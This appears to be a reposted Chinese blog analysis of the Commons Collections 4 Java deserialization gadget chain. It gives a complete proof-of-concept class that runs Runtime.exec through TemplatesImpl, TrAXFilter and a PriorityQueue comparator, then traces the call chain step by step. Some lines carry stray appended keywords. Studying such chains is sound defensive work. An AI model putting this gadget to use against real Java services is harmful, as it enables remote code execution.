文章首發:Java安全之CC4分析html
繼續來分析一波CC4的鏈,在寫該文前,看到網上大部分的文章都只給了一個調用鏈和POC。其實看CC4調用鏈的時候,能看出來CC4的調用鏈用到的也是前面的一些類去構造,只不過把CC2 和CC3的鏈給拼接了一下。java
Java安全之Commons Collections2分析apache
Java安全之Commons Collections3分析api
package com.test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.*; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.PriorityQueue; public class cc4 { public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections44444444"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes = payload.toBytecode(); Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templates.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templates,new byte[][]{bytes}); Field name=templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"test"); Transformer[] trans = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chian = new ChainedTransformer(trans); TransformingComparator transCom = new TransformingComparator(chian); PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field com = PriorityQueue.class.getDeclaredField("comparator"); com.setAccessible(true); com.set(queue,transCom); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } }
用網上的POC作了一個小小的改動。數組
前面的一大段代碼,在這裏就不分析了,由於在CC2和CC3的鏈中,都是同樣的。安全
Transformer[] trans = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chian = new ChainedTransformer(trans); TransformingComparator transCom = new TransformingComparator(chian);
CC4鏈中在這段代碼中就作了一個簡單的修改。app
第一步是new了一個ConstantTransformer
對象存儲在Transformer[]
數組中傳入的參數是TrAXFilter.class
,若是調用到ConstantTransformer
實例化對象的transform
方法會直接返回一個TrAXFilter
對象。this
第二步new了一個InstantiateTransformer
對象傳入的是Templates.class
和構造的惡意templates
實例化對象。3d
第三步是使用了ChainedTransformer
的修飾器將Transformer[]
數組傳入參數,當調用transform
方法將給Transformer[]
數組給遍歷調用transform
方法。調試
第四步將ChainedTransformer
修飾後的對象再使用TransformingComparator
修飾器給修飾一遍,這裏再使用TransformingComparator
來修飾一下,這樣等調用到該實例化對象的compare
,方法的時候就會去遍歷調用Transformer[]
的transform
方法。
Field com = PriorityQueue.class.getDeclaredField("comparator"); com.setAccessible(true); com.set(queue,transCom);
這裏反射獲取PriorityQueue
的成員變量comparator
,而後設置PriorityQueue
的comparator
值爲transCom
。
其餘的都和前面的如出一轍,這裏就不作具體分析了,感興趣的能夠去看看前面3條鏈的一個調試和分析過程。下面來作CC鏈的調試。
該鏈中利用的也是經過PriorityQueue
的readObject
做爲入口點。在該readObject
複寫點打個斷點進行跟蹤。
在readObject
會調用到heapify
方法。跟進一下heapify
方法
heapify
方法會再去調用siftDown
方法
在這裏若是comparator
不爲空,還會繼續調用siftDownUsingComparator
方法,comparator
在這裏是被修飾的Transformer[]
數組。前面使用反射去進行設置的。繼續跟進siftDownUsingComparator
方法。
到了這一步後,就會調用comparator
的compare
方法,在前面使用到了TransformingComparator
來修飾,全部調用到TransformingComparator
的compare
方法。
在被TransformingComparator
修飾前,還使用了ChainedTransformer
修飾器進行修飾,在this.transformer
爲ChainedTransformer
的實例化對象。因此這裏調用的是ChainedTransformer
的transform
。前面也提過該方法會遍歷調用Transformer[]
數組的transform
方法。
在第一次遍歷調用transform
方法時i,由於前面Transformer[]
存儲的第一個是ConstantTransformer
。ConstantTransformer
的transform
會直接返回TrAXFilter
對象。
第二次調用的時候則是傳入TrAXFilter
調用InstantiateTransformer
的transform
方法。
這裏的this.iParamTypes
爲templates
,而this.iArgs
爲構造的惡意TemplatesImpl
實例化對象。
那麼這一步就是獲取TrAXFilter
爲templates
的構造方法。而後調用該構造方法實例化對象,而且傳入TemplatesImpl
惡意類。跟進到TrAXFilter
構造方法裏面,查看一下具體實現。
在他的構造方法裏面還會對傳入的對象調用newTransformer
方法。
此時傳入的是惡意的TemplatesImpl
實例化對象。調用的則是TemplatesImpl
的newTransformer
方法。繼續跟進。
在該方法還會調用到getTransletInstance
方法。繼續跟進。
到了這裏會判斷_class
爲空的話就會去調用defineTransletClasses
進行賦值。跟蹤一下defineTransletClasses
方法查看是如何賦值的。
_bytecodes
對_class
進行賦值。_bytecodes
爲Runtime
類執行命令代碼的字節碼。
在執行完方法後,來到下一步。
對_class
進行newInstance
,進行實例化對象。執行完這一步後,就會彈出計算器,也就是說執行了咱們前面構造好的命令執行代碼。
getTransletInstancePriorityQueue.readObject->PriorityQueue.heapify ->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator ->TransformingComparator.compare->ChainedTransformer.transform ->TrAXFilter(構造方法)->TemplatesImpl.newTransformer ->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses ->(動態建立的類)cc4.newInstance()->Runtime.exec()
在CC1和CC3裏面只能在低版本執行,而CC2和CC4能夠在1.8 的版本下執行,調試CC1,3用的是JDK7u21版本,而2和4使用的是jdk8U181版本,親測可用。
CC4的鏈在一開始並不想去作一個分析,由於和前面分析的鏈基本同樣。可是仍是須要把它給記錄下來,也能夠去加深一下影響。